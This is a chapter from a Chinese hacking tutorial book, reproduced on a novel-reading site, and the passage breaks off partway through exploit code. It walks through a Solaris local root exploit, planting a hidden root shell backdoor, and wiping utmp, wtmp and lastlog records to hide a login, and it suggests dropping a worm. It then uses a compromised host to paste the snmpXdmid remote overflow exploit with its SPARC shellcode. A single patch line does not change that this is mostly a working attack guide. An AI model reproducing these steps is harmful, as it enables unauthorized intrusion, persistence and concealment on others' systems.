宠文网

30天打造专业红客

宠文网 > 现代小说 > 30天打造专业红客

第31章

书籍名:《30天打造专业红客》    作者:翟羽佳
    《30天打造专业红客》章节:第31章,宠文网网友提供全文无弹窗免费在线阅读。!




  

$cd  /tmp  

lpset.c放在/tmp目录了。

$ls  

lpset.c

建立了。

$gcc  -o  lpset  lpset.c

$

编译程序。

小技巧:Solaris默认是没有gcc的。我们可以用命令“whereis  -b  gcc”查找。因为管理员通常会在“/usr/local/bin”留下一个gcc的。

命令:chmod  777  lpset

设置程序“lpset”的属性为所有组所有用户都能访问。

$chmod  777  lpset

命令:./lpset

执行程序。

$./lpset

copyright  LAST  STAGE  OF  DELIRIUM  apr  2000  poland    //lsd-pl/

/usr/bin/lpset  for  solaris  2.6  2.7  sparc

sh:  syntax  error  at  line  1:  `('  unexpected

#

命令:id

查看自己的所属的组别。

#id

uid=1035(delex)  gid=20(staff)  euid=0(root)

“euid=0(root)”取得root权限了。

做个后门:

#  mkdir  /usr/man/man5/shell

在man文件夹里新建一个文件夹,没那么容易给别人发现。(每台主机的情况都不同。)

#  cp  /bin/ksh  /usr/man/man5/shell

#  chmod  777  /usr/man/man5/shell

一个简单的后门就做好了。  

以后,我们可以用oracle登陆,然后“./usr/man/man5/shell”取得root权限。

  

用wipe-1.00清除日志。

先把wipe-1.00.tgz上传到主机。

通常ftp的密码与telnet的密码一样。

#  gzip  -d  wipe-1.00.tgz

#  tar  -xf  wipe-1.00.tar

#  cd  wipe-1.00

#  make

Wipe  v0.01  !

Usage:  'make  '  where  System  types  are:

    linux  freebsd  sunos4  solaris2  ultrix

    aix  irix  digital  bsdi  netbsd  hpux

#

其中:

linux  freebsd  sunos4  solaris2  ultrix

aix  irix  digital  bsdi  netbsd  hpux

为“选择系统”。

我们这里用“solaris2”。

#make  solaris2

gcc  -O3  -DHAVE_LASTLOG_H  -DHAVE_UTMPX  -o  wipe  wipe.c

成功了。

#./wipe

USAGE:  wipe  [  u|w|l|a  ]  ...options...

UTMP  editing:

  Erase  all  usernames:wipe  u  [username]

  Erase  one  username  on  tty:wipe  u  [username]  [tty]

WTMP  editing:

Erase  last  entry  for  user  :wipe  w  [username]

Erase  last  entry  on  tty:wipe  w  [username]  [tty]

LASTLOG  editing:

Blank  lastlog  for  user  :wipe  l  [username]

Alter  lastlog  entry  :wipe  l  [username]  [tty]  [time]  [host]

    Where  [time]  is  in  the  format  [YYMMddhhmm]

ACCT  editing:

Erase  acct  entries  on  tty  :wipe  a  [username]  [tty]

说明:

u  选项为  utmp  utmpx  日志清除。

w  选项为  wtmp  wtmpx  日志清除。

l  选项为  lastlog  日志清除。

a  选项为  pacct  日志清除。

方法:./wipe  u  oracle;./wipe  w  oracle;./wipe  l  oracle

#./wipe  u  oracle;./wipe  w  oracle;./wipe  l  oracle

Patching  /var/adm/utmp  ....  Done.

Patching  /var/adm/utmpx  ....  Done.

Patching  /var/adm/wtmp  ....  Done.

Patching  /var/adm/wtmpx  ....  Done.

Patching  /var/adm/lastlog  ....  Done.

其中oracle为刚才登陆的用户名。

小技巧:我们可以用  ./wipe  u  oracle  隐藏自己。

运行:./wipe  u  oracle  前

#  w
>下午  20:15  1  user,  平均负荷:  0.00,  0.00,  0.01

用户名      终端号      登入时间      闲置      JCPU      PCPU      执行命令

oracle        pts/1      下午  20:00                3                    w

运行:./wipe  u  oracle  后

#  w

下午  20:15  1  user,  平均负荷:  0.00,  0.00,  0.01

用户名      终端号      登入时间      闲置      JCPU      PCPU      执行命令

最后,我们可以放个worm寻找更多机子。

当然,我们的目的不是为了入侵。帮主机打上补丁是最好的主意。

解决方法:chmod  -s  /usr/bin/lpset

『第26天』Sunos(二)

接着昨天的,今天,我们来看看Sunos的远程溢出。

  

本次范例需要的系统及程序情况如下:

操作系统:Window2000  To  Sunos  5.8

对方操作系统:Sunos  5.8

程序(一):snmpxdmid.c  

本机IP:127.0.0.1

测试IP:127.0.0.29

新程序说明:“snmpxdmid.c”是利用Rpc的snmpxdmid服务写的exploit。

Solaris  snmpXdmid  远程缓冲区溢出漏洞:

Solaris  2.6/7/8三个版本都携带了一个名为snmpXdmid的RPC服务,这个服务主要用

于在SNMP管理请求和DMI请求之间建立一种映射/转换关系。

在  UXIX  中,Desktop  Management  Interface  (DMI)  和  SNMP  是两个协调工作的远程管理协议。Sun  Microsystems  创建了SNMPxDMID(/usr/lib/dmi/snmpXdmid)映射守护进程来连接这两个协议。此守护进程传输  SNMP  请求给  DMI,但是发现它在处理‘INDICATION’时存在缓冲区溢出问题。本地和远程攻击者利用此漏洞能获得超级用户特权。

测试开始:

telnet  ***.***.***.***

*  telnet上我的肉鸡。

SunOS  5.8  

login:  cnhack

Password:

Last  login:  Sun  Jul  29  19:37:19  from  127.0.0.1

Sun  Microsystems  Inc.  SunOS  5.8  Generic  February  2000

$  

$./usr/man/man5/shell

#

*  取得root权限。

#  cat  >  snmpxdmid.c

*  把exploit贴到主机上。

/*##  copyright  LAST  STAGE  OF  DELIRIUM  mar  2001  poland  *://lsd-pl/  #*/

/*##  snmpXdmid  #*/

/*  as  the  final  jump  to  the  assembly  code  is  made  to  the  heap  area,  this  code  */

/*  also  works  against  machines  with  non-exec  stack  protection  turned  on  */

/*  due  to  large  data  transfers  of  about  128KB,  the  code  may  need  some  time  to  */

/*  proceed,  so  be  patient  */

#include  

#include  

#include  

#include  

#include  

#include  

#include  

#include  

#include  

#define  SNMPXDMID_PROG  100249

#define  SNMPXDMID_VERS  0x1

#define  SNMPXDMID_ADDCOMPONENT  0x101

char  findsckcode[]=

"\x20\xbf\xff\xff"  /*  bn,a    */

"\x20\xbf\xff\xff"  /*  bn,a    */

"\x7f\xff\xff\xff"  /*  call    */

"\x33\x02\x12\x34"

"\xa0\x10\x20\xff"  /*  mov  0xff,%l0  */

"\xa2\x10\x20\x54"  /*  mov  0x54,%l1  */

"\xa4\x03\xff\xd0"  /*  add  %o7,-48,%l2  */

"\xaa\x03\xe0\x28"  /*  add  %o7,40,%l5  */

"\x81\xc5\x60\x08"  /*  jmp  %l5+8  */

"\xc0\x2b\xe0\x04"  /*  stb  %g0,[%o7+4]  */

"\xe6\x03\xff\xd0"  /*  ld  [%o7-48],%l3  */

"\xe8\x03\xe0\x04"  /*  ld  [%o7+4],%l4  */
>"\xa8\xa4\xc0\x14"  /*  subcc  %l3,%l4,%l4  */

"\x02\xbf\xff\xfb"  /*  bz    */

"\xaa\x03\xe0\x5c"  /*  add  %o7,92,%l5  */

"\xe2\x23\xff\xc4"  /*  st  %l1,[%o7-60]  */

"\xe2\x23\xff\xc8"  /*  st  %l1,[%o7-56]  */

"\xe4\x23\xff\xcc"  /*  st  %l2,[%o7-52]  */

"\x90\x04\x20\x01"  /*  add  %l0,1,%o0  */

"\xa7\x2c\x60\x08"  /*  sll  %l1,8,%l3  */

"\x92\x14\xe0\x91"  /*  or  %l3,0x91,%o1  */

"\x94\x03\xff\xc4"  /*  add  %o7,-60,%o2  */

"\x82\x10\x20\x36"  /*  mov  0x36,%g1  */

"\x91\xd0\x20\x08"  /*  ta  8  */

"\x1a\xbf\xff\xf1"  /*  bcc    */

"\xa0\xa4\x20\x01"  /*  deccc  %l0  */

"\x12\xbf\xff\xf5"  /*  bne    */

"\xa6\x10\x20\x03"  /*  mov  0x03,%l3  */

"\x90\x04\x20\x02"  /*  add  %l0,2,%o0  */

"\x92\x10\x20\x09"  /*  mov  0x09,%o1  */

"\x94\x04\xff\xff"  /*  add  %l3,-1,%o2  */

"\x82\x10\x20\x3e"  /*  mov  0x3e,%g1  */

"\xa6\x84\xff\xff"  /*  addcc  %l3,-1,%l3  */

"\x12\xbf\xff\xfb"  /*  bne    */

"\x91\xd0\x20\x08"  /*  ta  8  */

;

char  shellcode[]=

"\x20\xbf\xff\xff"  /*  bn,a    */

"\x20\xbf\xff\xff"  /*  bn,a    */

"\x7f\xff\xff\xff"  /*  call    */

"\x90\x03\xe0\x20"  /*  add  %o7,32,%o0  */

"\x92\x02\x20\x10"  /*  add  %o0,16,%o1  */

"\xc0\x22\x20\x08"  /*  st  %g0,[%o0+8]  */

"\xd0\x22\x20\x10"  /*  st  %o0,[%o0+16]  */

"\xc0\x22\x20\x14"  /*  st  %g0,[%o0+20]  */

"\x82\x10\x20\x0b"  /*  mov  0x0b,%g1  */

"\x91\xd0\x20\x08"  /*  ta  8  */

"/bin/ksh"

;

static  char  nop[]="\x80\x1c\x40\x11";

typedef  struct{

struct{unsigned  int  len;char  *val;}name;

struct{unsigned  int  len;char  *val;}pragma;

}req_t;

bool_t  xdr_req(XDR  *xdrs,req_t  *objp){

char  *v=NULL;unsigned  long  l=0;int  b=1;

if(!